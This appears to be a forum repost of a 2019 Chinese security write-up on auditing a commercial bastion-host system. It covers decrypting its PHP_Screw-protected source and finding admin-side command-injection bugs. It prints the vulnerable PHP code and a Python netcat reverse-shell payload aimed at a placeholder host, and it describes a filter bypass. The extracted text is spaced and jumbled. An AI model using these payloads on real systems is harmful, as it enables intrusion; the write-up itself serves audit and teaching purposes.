搜索

[14245] 2019-06-18_审计某系统从解密到GetShell

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-06-18_审计某系统从解密到GetShell 审 计 某 系 统 从 解 密 到 G e t S h e l l J r D w w w   F r e e B u f   2 0 1 9 - 0 6 - 1 8 前 言 前 言 要 对 公 司 内 部 的 某 系 统 做 测 试 审 计 ， 但 是 碰 到 了 加 密 的 要 对 公 司 内 部 的 某 系 统 做 测 试 审 计 ， 但 是 碰 到 了 加 密 的 P H P 文 件 ， 因 为 是 采 购 的 第 三 方 整 套 设 备 所 以 只 能 自 己 做 解 密 啦 。 文 件 ， 因 为 是 采 购 的 第 三 方 整 套 设 备 所 以 只 能 自 己 做 解 密 啦 。 加 密 形 式 如 下 图 ： 收 集 信 息 收 集 信 息 收 集 了 一 下 P M 9 S C R E W 的 信 息 ， 该 使 用 的 加 密 拓 展 名 字 叫 P H P _ S c r e w ， 这 是 一 款 免 费 的 针 对 P H P 源 码 进 行 加 密 的 P H P 的 扩 展 ， 可 以 自 定 义 加 密 的 k e y ， 加 密 后 的 文 件 运 行 效 率 还 不 会 下 降 。 原 理 是 通 过 压 缩 取 反 然 后 跟 加 密 的 k e y 做 异 或 加 密 的 方 式 ， 在 使 用 的 时 候 通 过 . s o 文 件 的 拓 展 文 件 进 行 解 密 然 后 再 运 行 。 并 且 找 到 了 两 个 前 人 写 好 的 工 具 ， 参 考 文 章 及 工 具 链 接 如 下 ： h t t p s : / / w w w . s k a c t o r . t k / 2 0 1 8 / 0 3 / 2 6 / p h p - s c r e w % E 7 % 9 A % 8 4 % E 5 % 8 A % A 0 % E 5 % A F % 8 6 % E 5 % 9 2 % 8 C % E 8 % A 7 % A 3 % E 5 % A F % 8 6 % E 6 % 8 E % A 2 % E 7 % A 9 % B 6 % E F % B C % 8 8 % E 4 % B A % 8 C % E F % B C % 8 9 % E 8 % A 7 % A 3 % E 5 % A F % 8 6 % E 7 % A E % 9 7 % E 6 % B 3 % 9 5 % E 4 % B 8 % 8 E p y t h o n % E 5 % A E % 9 E % E 7 % 8 E % B 0 / h t t p s : / / g i t h u b . c o m / f i r e b r o o / s c r e w _ d e c o d e 解 密 过 程 解 密 过 程 通 过 前 文 得 知 有 加 密 密 钥 存 储 的 . s o 拓 展 文 件 很 关 键 ， 所 以 先 寻 找 文 件 ： 找 到 了 之 后 发 现 也 是 二 进 制 文 件 ： 于 是 I D A 搞 起 ， 先 找 到 p m 9 s c r e w 相 关 函 数 ：
然 后 追 踪 相 关 变 量 ： 找 到 加 密 的 密 钥 口 令 ： h e x 转 为 十 进 制 ： 然 后 另 一 个 函 数 中 找 到 头 部 变 量 （ 这 里 为 默 认 值 ） ： 然 后 将 找 到 的 密 钥 和 头 部 放 入 前 文 的 工 具 中 使 用 即 可 解 密 。 在 这 里 感 谢 前 人 的 工 具 ， 以 及 如 果 使 用 该 拓 展 加 密 ， 记 得 改 掉 或 者 隐 去 头 部 的 字 符 不 要 留 下 线 索 ， 以 及 把 文 件 隐 藏 好 。 审 计 审 计 接 上 篇 b l o g 解 密 p h p ， 该 系 统 听 说 是 处 于 行 业 领 导 地 位 的 运 维 管 理 系 统 ， 不 少 大 厂 也 在 使 用 ， 并 且 传 说 该 系 统 没 有 高 危 安 全 漏 洞 ， 那 我 们 就 来 挖 掘 看 看 吧 。 系 统 结 构 系 统 结 构 . s o
# i n d e x . p h p 片 段 < ? @ s e s s i o n _ s t a r t ( ) ; $ s i d   =   s e s s i o n _ i d ( ) ; @ s e s s i o n _ d e s t r o y ( ) ; $ C O N F I G [ " i m g " ]   =   t r u e ; $ C O N F I G [ " n o m a s t e r " ]   =   t r u e ; $ C O N F I G [ " n o t _ h t t p _ r e f e r e r " ]   =   t r u e ; 1 r e q u i r e _ o n c e ( " i n c l u d e / c o m m o n . p h p " ) ; r e q u i r e _ o n c e ( " i n c l u d e / V a l i d a t e . p h p " ) ; r e q u i r e ( ' i n c l u d e / i n t e g r i t y . p h p ' ) ;
我 们 可 以 看 到 从 上 图 看 出 该 系 统 因 为 历 史 悠 久 ， 在 架 构 上 还 是 使 用 静 态 p h p 文 件 的 路 由 方 式 ， 并 没 有 使 用 M V C 的 结 构 ， 整 体 的 系 统 架 构 略 显 臃 肿 。 从 头 部 引 入 可 以 发 现 ， 该 系 统 是 采 用 定 义 数 组 定 义 一 些 环 境 变 量 并 包 含 等 文 件 的 设 置 ， 利 用 c h e c k _ p e r m 方 法 做 权 限 的 限 制 与 鉴 定 。 其 中 具 体 结 构 的 实 现 细 节 与 本 文 无 关 ， 就 不 多 聊 结 构 问 题 。 第 一 个 第 一 个 g e t s h e l l 漏 洞 漏 洞 不 得 不 说 该 系 统 其 实 对 于 安 全 还 是 处 理 的 比 较 到 位 的 ， 各 种 s q l 、 x s s 等 注 入 都 过 滤 处 理 的 比 较 好 ， 也 验 证 了 r e f e r e r 防 止 了 c s r f 。 这 时 候 我 想 到 堡 垒 机 系 统 肯 定 需 要 与 系 统 底 层 进 行 一 些 特 殊 的 操 作 ， 譬 如 底 层 运 维 的 信 息 的 增 删 改 查 要 与 p h p 动 态 交 互 ， 而 此 系 统 采 用 的 是 调 用 p y t h o n 的 方 法 来 实 现 这 些 功 能 。 那 这 里 面 会 不 会 有 些 问 题 呢 ？ 要 是 有 就 是 直 接 g e t s h e l l 的 大 漏 洞 了 。 方 法 代 码 如 上 ， 很 普 通 的 p r o c _ o p e n 调 用 p y t h o n 的 方 法 。 而 其 中 在 中 定 义 的 的 全 局 过 滤 方 法 如 下 ： 其 中 方 法 是 一 个 在 5 . 4 . 0 以 后 就 废 弃 的 方 法 ， 在 5 . 4 . 0 以 后 一 般 推 荐 来 代 替 ， 作 用 是 将 是 将 G E T ／ ／ P O S T ／ ／ C o o k i e 变 量 导 入 到 全 局 作 用 域 中 变 量 导 入 到 全 局 作 用 域 中 。 上 面 这 句 话 是 官 方 中 文 的 解 释 ， 通 俗 点 说 ， 就 是 如 果 传 入 了 一 个 ” p a s s w o r d ” 变 量 ， 那 么 p h p 会 得 到 一 个 ” $ r e q _ p a s s w o r d ” 的 全 局 变 量 。 其 他 的 代 码 作 用 我 尽 量 详 细 的 写 在 注 释 里 面 了 ， 方 便 理 解 。 总 之 开 发 者 应 当 是 想 定 义 一 个 接 受 安 全 传 参 的 数 组 ， 若 参 数 在 这 个 数 组 内 则 放 行 ， 不 在 参 数 内 则 进 行 过 滤 。 那 我 们 找 找 看 有 没 有 在 数 组 内 的 执 行 ， 被 我 找 到 了 一 个 在 数 组 内 的 参 数 ， 所 以 发 现 了 第 一 个 后 台 g e t s h e l l 漏 洞 代 码 如 下 ： 根 据 上 文 可 以 知 道 就 是 接 收 到 的 参 数 ， 而 参 数 并 不 在 的 定 义 里 ， 这 是 一 个 漏 网 之 鱼 ， 所 以 可 以 比 较 简 单 的 构 造 一 个 p y t h o n 的 反 弹 s h e l l ， p a y l o a d 如 下 ： 这 里 利 用 了 一 个 p y t h o n 其 实 并 不 是 一 定 要 换 行 ， 也 可 以 使 用 来 做 换 行 的 小 t r i c k 。 结 果 如 图 ： < ? P H P r e q u i r e _ o n c e ( " i n c l u d e / c o m m o n . p h p " ) ; c h e c k _ p e r m ( " a d m i n " ) ; $ C O N F I G c o m m o n . p h p f u n c t i o n   p y t h o n _ e x e c ( $ c o d e )   {         $ d e s c s   =   a r r a y ( ) ;         $ d e s c s [ 0 ]   =   a r r a y ( " p i p e " ,   " r " ) ;         $ d e s c s [ 1 ]   =   a r r a y ( " p i p e " ,   " w " ) ;         $ d e s c s [ 2 ]   =   a r r a y ( " p i p e " ,   " w " ) ;         i f   ( i s _ a r r a y ( $ c o d e ) )   $ c o d e   =   j o i n ( " n " ,   $ c o d e ) ;         $ p   =   p r o c _ o p e n ( " / u s r / b i n / p y t h o n 2 . 6   - " ,   $ d e s c s ,   $ p i p e s ) ;         f p u t s ( $ p i p e s [ 0 ] ,   $ c o d e ) ;         f c l o s e ( $ p i p e s [ 0 ] ) ;         $ s t d o u t   =   s t r e a m _ g e t _ c o n t e n t s ( $ p i p e s [ 1 ] ) ;         $ s t d e r r   =   s t r e a m _ g e t _ c o n t e n t s ( $ p i p e s [ 2 ] ) ;         $ r e s u l t   =   p r o c _ c l o s e ( $ p ) ;         r e t u r n   a r r a y ( $ r e s u l t ,   $ s t d o u t ,   $ s t d e r r ) ; } c o m m o n . p h p i m p o r t _ r e q u e s t _ v a r i a b l e s ( " G P " ,   " r e q _ " ) ;   # 第 一 个 参 数 G P 是 定 义 了 接 收 类 型 G E T 、 P O S T ， 第 二 个 r e q _ 是 定 义 了 接 收 前 缀 为 “ r e q _ ” 的 参 数 $ s a f e _ r e q   =   " p a s s w o r d   c r y p t _ p a s s w d   省 略 一 部 分 代 码 " ; # 定 义 s a f e _ r e q i f   ( ! i s s e t ( $ C O N F I G [ " s a f e r e q " ] ) )   $ C O N F I G [ " s a f e r e q " ]     =   $ s a f e _ r e q ; e l s e   $ C O N F I G [ " s a f e r e q " ]   . =   "   "   .   $ s a f e _ r e q ; # 如 果 头 文 件 存 在 $ C O N F I G [ " s a f e r e q " ] 设 置 就 把 设 置 的 和 $ s a f e _ r e q 里 本 来 有 的 放 在 一 起 $ C O N F I G [ " s a f e r e q " ]   =   a r r a y _ f i l t e r ( e x p l o d e ( "   " ,   $ C O N F I G [ " s a f e r e q " ] ) ) ; # 分 割 成 数 组 f o r e a c h   ( $ _ R E Q U E S T   a s   $ k = > $ v )   {           i f   ( ! i n _ a r r a y ( $ k ,   $ C O N F I G [ " s a f e r e q " ] ) )   {                 $ _   =   " r e q _ $ k " ;                 $ $ _   =   p r e g _ r e p l a c e ( ' # [ < > ' " / & * ; ] # ' ,   " " ,   $ v ) ;   # 判 断 是 否 在 数 组 内   若 不 在 数 组 内 则 利 用 正 则 过 滤 将 这 些 特 殊 字 符 置 空         } } i m p o r t _ r e q u e s t _ v a r i a b l e s ( ) e x t r a c t ( ) c r y p t _ p a s s w d                 $ c o d e   =   a r r a y ( " # - * -   c o d i n g :   u t f - 8   - * - " ) ;                 $ c o d e [ ]   =   " f r o m   s h t e r m . c r y p t   i m p o r t   z i p _ c i p h e r " ;                 $ c o d e [ ]   =   " p r i n t   z i p _ c i p h e r . e n c r y p t ( ' $ r e q _ c r y p t _ p a s s w d ' ) " ;                 l i s t ( $ r e s u l t ,   $ s e c r e t ,   $ s t d e r r )   =   p y t h o n _ e x e c ( $ c o d e ) ; $ r e q _ p g p _ p u b k e y p g p _ p u b k e y p g p _ p u b k e y $ s a f e _ r e q 1 2 3 ' ) ; i m p o r t   o s ; o s . p o p e n ( ' r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   x x x . x x x . x x x . x x x   1 2 3 4 5   > / t m p / f ' ) # ;
但 是 这 样 只 是 一 个 程 序 员 的 疏 忽 导 致 的 g e t s h e l l ， 那 有 没 有 办 法 b y p a s s 这 个 看 起 来 很 简 单 粗 暴 的 过 滤 呢 ？ 绕 过 过 滤 的 绕 过 过 滤 的 g e t s h e l l 在 一 个 文 件 里 挖 掘 到 了 如 下 的 代 码 段 ： 根 据 之 前 分 析 的 我 们 知 道 和 就 是 接 受 了 和 的 传 参 ， 并 且 这 两 个 参 数 都 不 在 的 数 组 里 所 以 都 被 过 滤 了 ， 这 些 特 殊 字 符 都 不 能 传 参 。 但 是 我 发 现 特 殊 字 符 的 过 滤 忽 略 了 和 符 号 ， 而 跟 符 号 其 实 是 可 以 通 过 管 道 符 号 和 编 码 绕 过 过 滤 和 之 前 的 语 句 ， 执 行 自 己 想 要 执 行 的 p a y l o a d 甚 至 反 弹 s h e l l 的 。 管 道 符 号 的 特 性 ： 综 上 所 述 我 利 用 b a s e 6 4 编 码 构 造 了 一 个 绕 过 过 滤 的 p a y l o a d ： 之 后 发 包 成 功 执 行 反 弹 s h e l l ： $ t y p e   =   $ r e q _ t y p e ; $ a c t i o n   =   $ r e q _ a c t i o n ; $ o u t p u t   =   a r r a y ( ) ; i f   ( $ t y p e   = =   " m o d e " )   {         e x e c ( " s u d o   / u s r / l i b e x e c / s h t e r m / c l u s t e r c t l   d r s y n c - m o d e   $ a c t i o n " ,   $ o u t p u t ,   $ r ) ; } $ r e q _ t y p e $ r e q _ a c t i o n t y p e a c t i o n s a f e _ r e q # [ < > ' " / & * ; ] # | - | - |
* 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： J r D w w w ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理